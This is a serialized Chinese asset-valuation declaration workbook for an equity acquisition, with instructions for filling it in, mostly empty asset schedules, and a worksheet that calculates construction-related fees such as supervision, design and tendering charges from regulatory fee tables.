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["评估申报表填表说明"]
["返回索引页"]
["1、","本工作簿用于资产评估委托方或资产占有方对评估基准日下的委估资产及负债的账面价值的申报；"]
[null,"请贵单位填表人员按要求对工作表中账面价值及其以左各栏次或项目据实填写"]
[null,"（此外，应收账款、其他应收款还需要填写账龄分析内容）；"]
["2、","此表各科目明细的合计数，应与本次资产评估范围内的资产评估基准日的资产负债表的数据相符；"]
["3、","如有债权、债务性资产的未达、坏账及实物性资产的毁损、报废等的项目应在其备注中说明；"]
["4、","明细表中如有日期档，除各明细表中有具体要求外，其格式应为“XXXX-XX”；"]
[null,"    例：“2000年09月10日”应填为“2000-09”"]
[null,"如无法确定具体月份，请将月份填为01月；"]
[null,"    例：“2000年”应填为“2000-01”"]
[null,"如为累计发生的业务，请将发生日期填为最后一笔业务的发生日期；"]
["5、","如明细表的行数不够时，请填表人员在“合计”的上两行进行插入行。"]
["6、","填表人可通过“资产评估申报表索引目录”来选择要查看或修改的科目,通过“返回索引页”按纽可返回“选择目录”"]
["7、","填表人可通过点击各汇总表中的“科目名称”进入各明细表，再通过点击各工作表左上角的“返回”来返回上一级汇总表。"]
["注：","除以上要求企业填写的或按具体情况评估人员另作要求填写的栏目或项外，企业不应对此套表的其它部分"]
[null,"作任何修改变动，谢谢合作！"]
[]
["核心提示：不适用的工作表可以隐藏，但不可删除！"]
[null,null,"工作表标签不能更改！"]
[]
[null,"如有疑问请与我公司项目组或我公司现场人员联系"]
[null,"公司电话：010-68365066      传真：010-68365038"]

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["基本情况表"]
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[1,{"$nulls":6},{"v":255100000,"d":"255,100,000.00"},{"v":1,"d":"100%"},{"v":255100000,"d":"255,100,000.00"},{"v":1,"d":"100%"}]
[2]
[3]
[4]
[5]
["合计"]
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[4]
[5]
[6]
[7]
[8]
[9]
[10]
["前注册会计师审计结论"]
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[null,"目的","股权收购",null,null,"报告编号",null,null,"填表日期"]
[null,"范围","全部资产及相关负债",null,null,"项目负责人：",0,null,"法定代表人：","胡智"]
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[null,null,"流动资产",null,"设备",null,"房屋",null,"土地","无形资产"]
["被评估单位填表人:","陈春艳"]
["评估人员:"]

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["可供出售金融资产",15,{"$nulls":3},"非流动负债：",48]
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["长期股权投资",18,{"$nulls":3},"长期应付款",51]
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["货币资金—其他货币资金评估明细表"]
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[null,"注1：","注明账齡在一年以上的账款的可收回性，若有部分可能不能收回，请估计不能收回的金額，以供评估时作參考。"]
[null,"注2：“备注”栏填写方法：","1）欠款单位为关联方、总公司内部或本公司内部单位的，应在备注栏注明“关联方”、“总公司内部”、“内部单位”；"]
[null,null,"2） 涉诉款项应在备注中标明“涉诉”；"]
[null,null,"3）评估基准日后已部分或全部收回款项的，应注明日期及金额，如“2003年2月4日收回8,530.00元”；"]
[null,null,"4）填表单位认为其他应说明的事项"]

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["长期股权投资评估明细表"]
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["投资性房地产——房屋评估明细表"]
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["投资性房地产——房屋评估明细表"]
["（采用公允价值模式计量）"]
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[{"$nulls":8},"",{"$nulls":7},""]
[{"$nulls":8},"",{"$nulls":7},""]
[{"$nulls":8},"",{"$nulls":7},""]
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[{"$nulls":8},"",{"$nulls":7},""]
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[]
[{"$nulls":8},"",{"$nulls":7},""]
[{"$nulls":8},"",{"$nulls":7},""]
[{"$nulls":8},"",{"$nulls":7},""]
[{"$nulls":8},"",{"$nulls":7},""]
[{"$nulls":8},"",{"$nulls":7},""]
[{"$nulls":16},""]
["合            计",{"$nulls":7},"",null,null,{"$f":"SUM(L8:L26)","v":0},null,{"$f":"SUM(N8:N26)","v":0},{"$f":"SUM(O8:O26)","v":0},null,""]
[{"$f":"#REF!&#REF!","v":{"$error":"#REF!"}},{"$nulls":12},{"$f":"\"评估人员：\"&#REF!","v":{"$error":"#REF!"}}]
[{"$f":"CONCATENATE(#REF!,#REF!,#REF!,#REF!,#REF!,#REF!,#REF!)","v":{"$error":"#REF!"}}]

{"sheet":"4-5-3投资性地产","index":41,"n_rows":29,"n_cols":19,"rows_kept":29,"hidden":true,"merged":[[1,0,1,18],[2,0,2,18],[3,0,3,18],[4,0,4,4],[24,0,24,2],[25,0,25,2],[26,0,26,2]]}
["返回索引页","返回"]
["投资性房地产——土地使用权评估明细表"]
["（采用成本模式计量）"]
[{"$f":"'4-5-2投资性房地产'!A4:R4","v":{"$error":"#REF!"}}]
["被评估单位（或者产权持有单位）：",{"$nulls":17},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","来源（外购、自建、自用转入、存货转入等）","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值","审计前账面值","审计调整","账面价值","评估价值","增减值","增值率%","备注"]
{"$rows_empty":18}
["合            计",{"$nulls":8},"",{"$nulls":8},""]
["减：投资性房地产减值准备",{"$nulls":17},""]
["合            计",{"$nulls":11},{"$f":"SUM(M7:M26)","v":0},null,{"$f":"SUM(O7:O26)","v":0},{"$f":"SUM(P7:P26)","v":0},null,null,""]
[{"$f":"#REF!&#REF!","v":{"$error":"#REF!"}},{"$nulls":13},{"$f":"\"评估人员：\"&#REF!","v":{"$error":"#REF!"}}]
[{"$f":"CONCATENATE(#REF!,#REF!,#REF!,#REF!,#REF!,#REF!,#REF!)","v":{"$error":"#REF!"}}]

{"sheet":"4-5-4投资性地产","index":42,"n_rows":29,"n_cols":19,"rows_kept":29,"hidden":true,"merged":[[1,0,1,18],[2,0,2,18],[3,0,3,18],[4,0,4,4],[26,0,26,4]]}
["返回索引页","返回"]
["投资性房地产——土地使用权评估明细表"]
["（采用公允价值模式计量）"]
[{"$f":"'4-5-3投资性地产'!A4:S4","v":{"$error":"#REF!"}}]
["被评估单位（或者产权持有单位）：",{"$nulls":17},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","来源（外购、自建、自用转入、存货转入等）","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","原始入账价值（转入日公允价值）","审计前账面值","审计调整","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[]
[]
[]
[]
[{"$nulls":17},""]
[]
[]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[{"$nulls":17},""]
[]
["合         计",{"$nulls":11},{"$f":"SUM(M7:M26)","v":0},null,{"$f":"SUM(O7:O26)","v":0},{"$f":"SUM(P7:P26)","v":0},null,""]
[{"$f":"#REF!&#REF!","v":{"$error":"#REF!"}},{"$nulls":13},{"$f":"\"评估人员：\"&#REF!","v":{"$error":"#REF!"}}]
[{"$f":"CONCATENATE(#REF!,#REF!,#REF!,#REF!,#REF!,#REF!,#REF!)","v":{"$error":"#REF!"}}]

{"sheet":"工程建设其他费用表","index":43,"n_rows":215,"n_cols":14,"rows_kept":215,"hidden":true,"merged":[[0,1,0,5],[1,1,1,5],[18,1,19,1],[18,2,19,2],[18,3,18,4],[49,1,49,3],[77,1,77,3],[135,2,136,2],[135,3,136,3],[135,4,136,4],[135,5,136,5],[135,6,136,6],[135,7,136,7],[146,1,146,6],[147,1,147,6],[148,1,148,6],[149,1,149,6],[150,1,150,6],[151,1,151,6],[173,1,174,1],[173,2,173,4],[174,2,174,4],[175,1,175,4],[176,1,176,4],[177,1,177,4],[178,1,178,4],[179,1,179,4],[180,1,180,4],[181,1,181,4],[190,1,190,2],[192,1,193,1],[192,2,193,2],[192,4,193,4],[192,5,192,10],[192,11,193,11],[192,12,193,12],[194,2,194,3],[195,2,195,3],[196,2,196,3],[197,2,197,3],[198,2,198,3],[199,2,199,3],[200,2,200,3],[201,2,201,3],[202,2,202,3],[203,1,204,1],[203,2,204,2],[204,5,204,9],[205,2,205,3],[206,1,207,1],[206,2,207,2],[207,5,207,9],[208,2,208,3],[209,1,210,1],[209,2,210,2],[210,5,210,9],[211,2,211,3]]}
[null,"工程建设其他费用测算底稿"]
[null,{"$f":"CONCATENATE(#REF!,#REF!,#REF!,#REF!,#REF!,#REF!,#REF!)","v":{"$error":"#REF!"}}]
[]
[null,"序号","取  费  项  目","取费基础","标  准","取   费   依   据","费率（不含税）","增值税抵扣税率"]
[null,1,"建设单位管理","投资额",{"$f":"G27","v":{"v":0.0131,"d":"1.31%"}},"财政部关于印发《基本建设项目建设成本管理规定》的通知（财建〔2016〕504号）",{"$f":"E5","v":{"v":0.0131,"d":"1.31%"}},{"v":0,"d":"0.00%"}]
[null,2,"工程监理费","投资额",{"$f":"F98","v":{"v":0.0212,"d":"2.12%"}},"《建设工程监理与相关服务收费管理规定》发改价格〔2007〕670号、《国家发改委关于降低部分建设项目收费标准规范收费行为等有关问题的通知》发改价格(2011)534号文件",{"$f":"ROUND(E6/1.06,4)","v":{"v":0.02,"d":"2.00%"}},{"v":0.06,"d":"6%"}]
[null,3,"工程勘察设计费","投资额",{"$f":"ROUND(F50,4)","v":{"v":0.0298,"d":"2.98%"}},"《工程勘察设计收费管理规定》计价格[2002]10号",{"$f":"ROUND(E7/1.06,4)","v":{"v":0.0281,"d":"2.81%"}},{"v":0.06,"d":"6%"}]
[null,4,"招标代理费","投资额",{"$f":"H62","v":{"v":0.0025,"d":"0.25%"}},"《招标代理服务收费管理暂行办法》计价格[2002]1980号",{"v":0.0024,"d":"0.24%"},{"v":0.06,"d":"6%"}]
[null,5,"环境评价费","投资额",{"$f":"F157","v":{"v":0.0009,"d":"0.09%"}},"国家计委、国家环境保护总局关于规范环境影响评价收费标准的通知（计价格［2002］125号）",{"v":0.0008,"d":"0.08%"},{"v":0.06,"d":"6%"}]
[null,6,"施工图设计文件审查费","投资额",{"v":0.002,"d":"0.20%"},"《施工图审查费》冀价经费字[2002]27号、《国家发改委关于降低部分建设项目收费标准规范收费行为等有关问题的通知》发改价格(2011)534号文件",{"v":0.0019,"d":"0.19%"},{"v":0.06,"d":"6%"}]
[null,7,"可行性研究费","投资额",{"$f":"C185","v":{"v":0.0014,"d":"0.14%"}},"《建设项目前期工作咨询收费暂行规定》计价格(1999)1283号",{"v":0.0013,"d":"0.13%"},{"v":0.06,"d":"6%"}]
[null,8,"工程预决算编审费",{"$f":"D11","v":"投资额"},{"$f":"L215","v":{"v":0.0055,"d":"0.55%"}},"《工程造价咨询服务收费标准》唐建价字（2006）36号",{"v":0.0052,"d":"0.52%"},{"v":0.06,"d":"6%"}]
[null,9,"城市基础设施配套费","建筑面积",50,"《河北省财政厅关于唐山市城市基础设施配套费收费标准的批复》(冀财税〔2017〕16号)和唐山市财政局关于转发《河北省财政厅关于唐山市城市基础设施配套费收费标准的批复》的通知(唐财税〔2017〕23号)"]
[null,10,"新型墙体材料专项基金","建筑面积",10,"《河北省新型墙体材料专项基金征收使用管理实施办法》的通知冀财综[2008]22号"]
[{"$nulls":4},{"$f":"SUM(E5:E12)","v":{"v":0.0764,"d":"7.64%"}},null,{"$f":"SUM(G5:G14)","v":{"v":0.0728,"d":"7.28%"}}]
[]
[null,"建设单位管理费"]
[null,"按财建〔2016〕504号标准计算确定，具体见下表。",{"$nulls":3},"投资额度（万元）","投资额度"]
[null,"工程规模（万元）","费率（%）","算　　例",null,{"v":13000,"d":"13,000.00"}]
[{"$nulls":3},"工程规模","建设单位管理费"]
[null,"1000以下",2,1000,"1000×2％＝20",{"$f":"IF(F19<=1000,$F$19*2%,0)","v":0}]
[null,"1001-5000",1.5,5000,"20十(5000-1000)×1.5%＝80",{"$f":"IF($F$19<=5000,IF($F$19>1000,(20+($F$19-1000)*1.5%),0),0)","v":{"v":0,"d":"0.0"}}]
[null,"5001-10000",1.2,10000,"80十(10000-5000)×1.2％＝140",{"$f":"IF($F$19<=10000,IF($F$19>5000,(80+($F$19-5000)*1.2%),0),0)","v":{"v":0,"d":"0.0"}}]
[null,"10001-50000",1,50000," 140十(50000-10000)×1％＝540",{"$f":"IF($F$19<=50000,IF($F$19>10000,(140+($F$19-10000)*1%),0),0)","v":{"v":170,"d":"170.0"}}]
[null,"50001-100000",0.8,100000,"540+(100000-50000)×0.8%＝940",{"$f":"IF($F$19<=100000,IF($F$19>50000,(540+($F$19-50000)*0.8%),0),0)","v":{"v":0,"d":"0.0"}}]
[null,"100000以上",0.4,200000,"940十(200000-100000)×0．2％＝1340",{"$f":"IF($F$19>100000,(940+($F$19-100000)*0.4%),0)","v":{"v":0,"d":"0.0"}},{"$f":"SUM(F21:F27)","v":170}]
[{"$nulls":5},{"$f":"IF($F$19>200000,(883+($F$19-200000)*0.1%),0)","v":{"v":0,"d":"0.0"}},{"$f":"ROUND(G26/F19,4)","v":{"v":0.0131,"d":"1.31%"}}]
[]
[null,"工程勘察设计费"]
[null,"按国家计委、建设部计价格（2002）10号计算确定，具体参照下表确定。"]
[null,"序号","工程规模（万元）","收费基价（万元）"]
[null,1,200,9,{"$f":"IF($F$19<=C32,D32/C32*$F$19,0)","v":0}]
[null,2,500,20.9,{"$f":"IF($F$19<=C33,IF($F$19>C32,(D33/C33-(C33-$F$19)/((C33-C32)/(D33/C33-D32/C32)))*$F$19,0),0)","v":0},{"$f":"C39","v":{"v":20000,"d":"20,000.00"}},{"$f":"D39","v":{"v":566.8,"d":"566.80"}},{"$f":"F35-F33","v":{"v":20000,"d":"20,000.00"}},{"$f":"G35-G33","v":{"v":487.2,"d":"487.20"}}]
[null,3,{"v":1000,"d":"1,000"},38.8,0,{"$f":"F19","v":{"v":13000,"d":"13,000.00"}},null,{"$f":"F35-F34","v":{"v":27000,"d":"27,000.00"}},{"$f":"H34*I33/H33","v":657.72}]
[null,4,{"v":3000,"d":"3,000"},103.8,0,{"$f":"C40","v":{"v":40000,"d":"40,000.00"}},{"$f":"D40","v":{"v":1054,"d":"1,054.00"}},{"$f":"I35/F34-0.01%","v":{"v":0.0304,"d":"3.04%"}},{"$f":"G35-I34","v":396.28}]
[null,5,{"v":5000,"d":"5,000"},163.9,0," "]
[null,6,{"v":8000,"d":"8,000"},249.6,0]
[null,7,{"v":10000,"d":"10,000"},304.8,0]
[null,8,{"v":20000,"d":"20,000"},566.8,387.894]
[null,9,{"v":40000,"d":"40,000"},{"v":1054,"d":"1,054.00"},0]
[null,10,{"v":60000,"d":"60,000"},{"v":1515.2,"d":"1,515.20"},0]
[null,11,{"v":80000,"d":"80,000"},{"v":1960.1,"d":"1,960.10"},0]
[null,12,{"v":100000,"d":"100,000"},{"v":2393.4,"d":"2,393.40"},0]
[null,13,{"v":200000,"d":"200,000"},{"v":4450.8,"d":"4,450.80"},0]
[null,14,{"v":400000,"d":"400,000"},{"v":8276.7,"d":"8,276.70"},0]
[null,15,{"v":600000,"d":"600,000"},{"v":11897.5,"d":"11,897.50"},0]
[null,16,{"v":800000,"d":"800,000"},{"v":15391.4,"d":"15,391.40"},0]
[null,17,{"v":1000000,"d":"1,000,000"},{"v":18793.8,"d":"18,793.80"},0,{"$f":"SUM(E32:E50)","v":387.894}]
[null,18,{"v":2000000,"d":"2,000,000"},{"v":34948.9,"d":"34,948.90"},0,"工程勘察设计费比率"]
[null,"注：计费额＞2,000,000万元的，以计费额乘以1.6％的收费率计算收费基价。",null,null,{"$f":"IF($F$19>C49,D49/C49*$F$19*(1.6%),0)","v":0},{"$f":"F48/F19","v":{"v":0.0298,"d":"2.98%"}}]
[null,"计算方法：根据各单位投资规模采用直线内插法确定各单位的工程勘察设计费总额"]
[]
[null,"（4）招标代理费"]
[null,"招标代理费按国家计委[计价格 ［2002］1980号]选取"]
[null,"              服务类型     中标金额（万元）",null,"货物招标","服务招标","工程招标"]
[null,"100以下",100,{"v":0.015,"d":"1.50%"},{"v":0.015,"d":"1.50%"},{"v":0.01,"d":"1.00%"},{"$f":"IF($F$19<C56,$F$19*F56,C56*F56)","v":{"v":1,"d":"1.00"}}]
[null,"100—500",500,{"v":0.011,"d":"1.10%"},{"v":0.008,"d":"0.80%"},{"v":0.007,"d":"0.70%"},{"$f":"IF($F$19<C57,IF($F$19>C56,($F$19-C56)*F57),(C57-C56)*F57)","v":{"v":2.8,"d":"2.80"}}]
[null,"500—1000",{"v":1000,"d":"1,000"},{"v":0.008,"d":"0.80%"},{"v":0.0045,"d":"0.45%"},{"v":0.0055,"d":"0.55%"},{"$f":"IF($F$19<C58,IF($F$19>C57,($F$19-C57)*F58,0),(C58-C57)*F58)","v":2.75}]
[null,"1000—5000",{"v":5000,"d":"5,000"},{"v":0.005,"d":"0.50%"},{"v":0.0025,"d":"0.25%"},{"v":0.0035,"d":"0.35%"},{"$f":"IF($F$19<C59,IF($F$19>C58,($F$19-C58)*F59,0),(C59-C58)*F59)","v":{"v":14,"d":"14.00"}}]
[null,"5000—10000",{"v":10000,"d":"10,000"},{"v":0.0025,"d":"0.25%"},{"v":0.001,"d":"0.10%"},{"v":0.002,"d":"0.20%"},{"$f":"IF($F$19<C60,IF($F$19>C59,($F$19-C59)*F60,0),(C60-C59)*F60)","v":{"v":10,"d":"10.00"}},{"$f":"SUM(G56:G62)","v":32.05}]
[null,"10000——100000",{"v":100000,"d":"100,000"},{"v":0.0005,"d":"0.05%"},{"v":0.0005,"d":"0.05%"},{"v":0.0005,"d":"0.05%"},{"$f":"IF($F$19<C61,IF($F$19>C60,($F$19-C60)*F61,0),(C61-C60)*F61)","v":{"v":1.5,"d":"1.50"}},"招标代理费率"]
[null,"1000000以上",{"v":100001,"d":"100,001"},{"v":0.0001,"d":"0.01%"},{"v":0.0001,"d":"0.01%"},{"v":0.0001,"d":"0.01%"},{"$f":"IF($F$19>C62,$F$19*F62,0)","v":{"v":0,"d":"0.00"}},{"$f":"H60/F19","v":{"v":0.0025,"d":"0.25%"}}]
[]
[null,"注："]
[null,"1、按本表费率计算的收费为招标代理服务全过程的收费基准价格，单独提供编制招标文件（有标底的含标底）服务的，可按规定标准的30％计收。"]
[null,"2、招标代理服务收费按差额定率累进法计算。例如：某工程招标代理业务中标金额为6000万元，计算招标代理服务费额如下："]
[null,"100万元×1.0％＝1万元"]
[null,"（500－100）万元×0.7％＝2.8万元",null,null,{"$f":"(1+2.8+2.75+E71)/F19","v":{"v":0.0037,"d":"0.37%"}}]
[null,"（1000－500）万元×0.55％＝2.75万元"]
[null,"（5000－1000）万元×0.35％＝14万元"]
[null,"（10000－5000）万元×0.2％＝10万元",null,null,{"$f":"(F19-1000)*0.35%","v":42}]
[null,"(100000-10000)万元*0.05%=45万元"]
[]
[null,"合计收费＝1＋2.8＋2.75＋14＋2＝22.55(万元)"]
[null,"（１）建设贷款利率标准"]
[]
[]
[null,"工程质量监督费，收费标准按建安造价计算，特大城市1．3‰，大城市1．4‰，中等城市2‰，小城市2．5‰"]
[]
[]
[null,"施工监理收费基价表"]
[null,"                                                        单位：万元"]
[null,"序号","计费额","收费基价"]
[null,1,500,16.5]
[null,2,1000,30.1,{"$f":"IF($F$19<=C85,D85/C85*$F$19,0)","v":0},{"$f":"C90","v":{"v":20000,"d":"20,000.00"}},{"$f":"D90","v":{"v":393.4,"d":"393.40"}},{"$f":"F87-F85","v":{"v":20000,"d":"20,000.00"}},{"$f":"G87-G85","v":{"v":314.8,"d":"314.80"}}]
[null,3,3000,78.1,{"$f":"IF($F$19<=C86,IF($F$19>C85,(D86/C86-(C86-$F$19)/((C86-C85)/(D86/C86-D85/C85)))*$F$19,0),0)","v":0},{"$f":"F19","v":{"v":13000,"d":"13,000.00"}},null,{"$f":"F87-F86","v":{"v":27000,"d":"27,000.00"}},{"$f":"H86*I85/H85","v":424.98}]
[null,4,5000,120.8,0,{"$f":"C91","v":{"v":40000,"d":"40,000.00"}},{"$f":"D91","v":{"v":708.2,"d":"708.20"}},{"$f":"I87/F86","v":{"v":0.0218,"d":"2.18%"}},{"$f":"G87-I86","v":283.22}]
[null,5,8000,181,0]
[null,6,10000,218.6,0]
[null,7,20000,393.4,275.639]
[null,8,40000,708.2,0]
[null,9,60000,991.4,0]
[null,10,80000,1255.8,0]
[null,11,100000,1507,0]
[null,12,200000,2712.5,0]
[null,13,400000,4882.6,0,{"$f":"SUM(E83:E99)","v":275.639}]
[null,14,600000,6835.6,0,"工程监理费比率"]
[null,15,800000,8658.4,0,{"$f":"ROUND(F96*1/F19,4)","v":{"v":0.0212,"d":"2.12%"}}]
[null,16,1000000,10390.1,0]
[]
[]
[null,"施工监理收费专业调整系数表"]
[null,"工程类型                     专业调整系数"]
[null,"1．矿山采选工程                                            "]
[null,"      黑色、有色、黄金、化学、非金属及其他矿采选工程  0.9 "]
[null,"      矿井工程，选煤及其他煤炭工程                    1.0   "]
[null,"      铀矿采选工程                                    1.1   "]
[null,"2.加工冶炼工程"]
[null,"     船舶水工工程                                     1.0  "]
[null,"     各类加工、冶炼工程                               1.0"]
[null,"     核加工工程                                       1.2"]
[null,"3.石油化工工程"]
[null,"      石油工程                                        0.9"]
[null,"化工、石化、化纤、医药工程                      1.0"]
[null,"      核化工工程                                      1.3"]
[null,"4.水利电力工程"]
[null,"      风力发电、其他水利工程                          0.9"]
[null,"      火电工程、送变电工程                            1.0"]
[null,"      核电常规岛、水电、水库工程                      1.2"]
[null,"      核能工程                                        1.3"]
[null,"5．交通运输工程"]
[null,"      机场场道、机场空管和助航灯光工程                0.9"]
[null,"      铁路、公路、城市道路、轻轨工程                  1.0"]
[null,"      水运、地铁、桥梁、隧道、索道工程                1.1"]
[null,"6．建筑市政工程 "]
[null,"      邮电、电信、广电工艺工程                        0.9"]
[null,"      建筑、人防、市政工程                            1.0"]
[null,"园林绿化工程                                    0.8"]
[null,"7．农业林业工程"]
[null,"      农业工程                                        0.9"]
[null,"      林业工程                                        0.9"]
[]
[]
[null,"《关于规范环境影响咨询收费有关问题的通知》（计价格[2002]125号），国家发展计划委员会、国家环境保护总局联合文件"]
[]
[null,"估算投资额（亿元） ","0.3以下 ","0.3-2 ","2-10","10-50 ","50-100 ","100以上 ",null,null,{"v":3000,"d":"3,000.00"},{"v":6,"d":"6.00"},{"$f":"K138-K136","v":{"v":17000,"d":"17,000.00"}},{"$f":"L138-L136","v":{"v":9,"d":"9.00"}}]
[null,"咨询服务项目(万元)",{"$nulls":8},{"$f":"F19","v":{"v":13000,"d":"13,000.00"}},null,{"$f":"K138-K137","v":{"v":7000,"d":"7,000.00"}},{"$f":"M137*N136/M136","v":3.71}]
[null,"编制环境影响报告书（含大纲） ","5-6","6-15","15-35 ","35-75 ","75-110 ",110,null,null,{"v":20000,"d":"20,000.00"},{"v":15,"d":"15.00"},{"$f":"N138/K137-0.01%","v":{"v":0.00077,"d":"0.077%"}},{"$f":"L138-N137","v":11.29}]
[null,"编制环境影响报告表 ","1-2","2-4","4-7",null,"7以上 "]
[null,"评估环境影响报告书（含大纲） ","0.8-1.5 ","1.5-3 ","3-7","7-9","9-13","13以上 ",null,null,{"v":3000,"d":"3,000.00"},{"v":2,"d":"2.00"},{"$f":"K142-K140","v":{"v":17000,"d":"17,000.00"}},{"$f":"L142-L140","v":{"v":2,"d":"2.00"}}]
[null,"评估环境影响报告表 ","0.5-0.8 ","0.8-1.5 ","1.5-2 ",null,"2以上 ",{"$nulls":3},{"$f":"K137","v":{"v":13000,"d":"13,000.00"}},null,{"$f":"K142-K141","v":{"v":7000,"d":"7,000.00"}},{"$f":"M141*N140/M140","v":0.82}]
[{"$nulls":10},{"v":20000,"d":"20,000.00"},{"v":4,"d":"4.00"},{"$f":"N142/K141-0.01%","v":{"v":0.00014,"d":"0.014%"}},{"$f":"L142-N141","v":3.18}]
[]
[null,"测算比例：",{"$f":"(6+2+1.5+0.8)/3000","v":{"v":0.0034,"d":"0.34%"}},{"$f":"(15+4+3+1.5)/20000","v":{"v":0.0012,"d":"0.12%"}},{"$f":"(35+7+7+2)/100000","v":{"v":0.0005,"d":"0.05%"}},{"$f":"(75+9+9+3)/500000","v":{"v":0.0002,"d":"0.02%"}},{"$f":"(110+13+13+4)/1000000","v":{"v":0.0001,"d":"0.01%"}},{"$f":"(110+13+13+4)/1000000","v":{"v":0.0001,"d":"0.01%"}},null,null,{"v":3000,"d":"3,000.00"},{"v":1.5,"d":"1.50"},{"$f":"K146-K144","v":{"v":17000,"d":"17,000.00"}},{"$f":"L146-L144","v":{"v":1.5,"d":"1.50"}}]
[{"$nulls":10},{"$f":"K141","v":{"v":13000,"d":"13,000.00"}},null,{"$f":"K146-K145","v":{"v":7000,"d":"7,000.00"}},{"$f":"M145*N144/M144","v":0.62}]
[{"$nulls":10},{"v":20000,"d":"20,000.00"},{"v":3,"d":"3.00"},{"$f":"N146/K145-0.01%","v":{"v":8e-5,"d":"0.008%"}},{"$f":"L146-N145","v":2.38}]
[null,"行    业 ",{"$nulls":5},"调整系数 "]
[null,"化工、冶金、有色、黄金、煤炭、矿产、纺织、化纤、轻工、医药、区域 ",{"$nulls":5},1.2,null,null,{"v":3000,"d":"3,000.00"},{"v":0.8,"d":"0.80"},{"$f":"K150-K148","v":{"v":17000,"d":"17,000.00"}},{"$f":"L150-L148","v":{"v":0.7,"d":"0.70"}}]
[null,"石化、石油天然气、水利、水电、旅游 ",{"$nulls":5},1.1,null,null,{"$f":"K141","v":{"v":13000,"d":"13,000.00"}},null,{"$f":"K150-K149","v":{"v":7000,"d":"7,000.00"}},{"$f":"M149*N148/M148","v":0.29}]
[null,"林业、畜牧、渔业、农业、交通、铁道、民航、管线运输、建材、市政、烟草、兵器 ",{"$nulls":5},1,null,null,{"v":20000,"d":"20,000.00"},{"v":1.5,"d":"1.50"},{"$f":"N150/K149-0.01%","v":{"v":-1e-5,"d":"-0.001%"}},{"$f":"L150-N149","v":1.21}]
[null,"邮电、广播电视、航空、机械、船舶、航天、电子、勘探、社会服务、火电",{"$nulls":5},0.8]
[null,"粮食、建筑、信息产业、仓储 ",{"$nulls":5},0.6]
[]
[{"$nulls":12},{"$f":"M138+M142+M146+M150","v":{"v":0.001,"d":"0.10%"}}]
[null,null,"环境敏感程度 ","调整系数 "]
[null,null,"敏感 ",1.2,null,"环评费比率"]
[null,null,"一般 ",0.8,null,{"$f":"(M138+M142+M146+M150)*H151*D156","v":{"v":0.0009,"d":"0.09%"}}]
[]
[]
[]
[]
[]
[null,"《建设项目前期工作咨询收费暂行规定》计价格(1999)1283号"]
[]
[null,"估算投资额","３０００万元－","１亿元－","５亿元－","１０亿元－","５０亿元"]
[null,"咨询评估项目","１亿元","５亿元　","１０亿元　　","５０亿元　","以上　"]
[null,"一、编制项目建议书","6-14","１４－３７","３７－５５　","５５－１００","１００－１２５"]
[null,"二、编制可行性研究报告　","12-18","２８－７５","７５－１１０","１１０－２００","２００－２５０"]
[null,"三、评估项目建议书","4-8","8-12","12-15","１５－１７","１７－２０"]
[null,"四、评估可行性研究报告　","5-10","10-15","１５－２０","２０－２５","２５－３５"]
[]
[null,"测算比例：",{"$f":"(14+18+8+10)/10000","v":{"v":0.005,"d":"0.50%"}},{"$f":"(37+75+12+15)/50000","v":{"v":0.0028,"d":"0.28%"}},{"$f":"(55+110+15+20)/100000","v":{"v":0.002,"d":"0.20%"}},{"$f":"(100+200+17+25)/500000","v":{"v":0.0007,"d":"0.07%"}},{"$f":"(125+250+20+35)/1000000","v":{"v":0.0004,"d":"0.04%"}}]
[]
[null,"行　　业","调整系数",null,null,"调整系数"]
[null,null,"（以表一所列收费标准为１）",null,null,"（以表一所列收费标准为１）"]
[null,"一、行业调整系数"]
[null,"１．石化、化工、钢铁　",{"$nulls":3},1.3]
[null,"２．石油、天然气、水利、水电、交通（水运）、化纤",{"$nulls":3},1.2]
[null,"３．有色、黄金、纺织、轻工、邮电、广播电视、医药、煤炭、火电（含核电）、机械（含船舶、航空、航天、兵器）",{"$nulls":3},1]
[null,"４．林业、商业、粮食、建筑　",{"$nulls":3},0.8]
[null,"５．建材、交通（公路）、铁道、市政公用工程　",{"$nulls":3},0.7]
[null,"二、工程复杂程度调整系数　",{"$nulls":3},"０．８－１．２　"]
[]
[null,null,"可行性研究费比率"]
[null,null,{"$f":"E172*F181*1","v":{"v":0.0014,"d":"0.14%"}}]
[]
[]
[]
[]
[]
[null,"工程预决算编审费",null,{"$f":"L215","v":{"v":0.0055,"d":"0.55%"}}]
[]
[null,"序号","收费项目",null,"收费基数X",{"$nulls":6},"收费标准（万元）"]
[{"$nulls":5},"X≤200万元","200＜X≤500万元","500＜X≤2000万元","2000＜X≤10000万元","＞10000万元","送审或审减金额（万元）"]
[null,1,"投资估算",null,"投资估算造价",0.8,0.7,0.6,0.5,0.3,null,{"$f":"IF(K195<=200,K195*F195/1000,IF(K195<=500,(K195-200)*G195/1000+0.16,IF(K195<=2000,(K195-500)*H195/1000+0.37,IF(K195<=10000,(K195-2000)*I195/1000+1.27,IF(K195>10000,(K195-10000)*J195/1000+5.27)))))","v":{"v":0,"d":"0.000"}}]
[null,2,"经济评价",null,"投资估算造价",0.8,0.7,0.6,0.5,0.3,null,{"$f":"IF(K196<=200,K196*F196/1000,IF(K196<=500,(K196-200)*G196/1000+0.16,IF(K196<=2000,(K196-500)*H196/1000+0.37,IF(K196<=10000,(K196-2000)*I196/1000+1.27,IF(K196>10000,(K196-10000)*J196/1000+5.27)))))","v":{"v":0,"d":"0.000"}}]
[null,3,"概算编制",null,"设计概算造价",3,2.5,2,1.8,1.6,null,{"$f":"IF(K197<=200,K197*F197/1000,IF(K197<=500,(K197-200)*G197/1000+0.6,IF(K197<=2000,(K197-500)*H197/1000+1.35,IF(K197<=10000,(K197-2000)*I197/1000+4.35,IF(K197>10000,(K197-10000)*J197/1000+18.75)))))","v":{"v":0,"d":"0.000"}}]
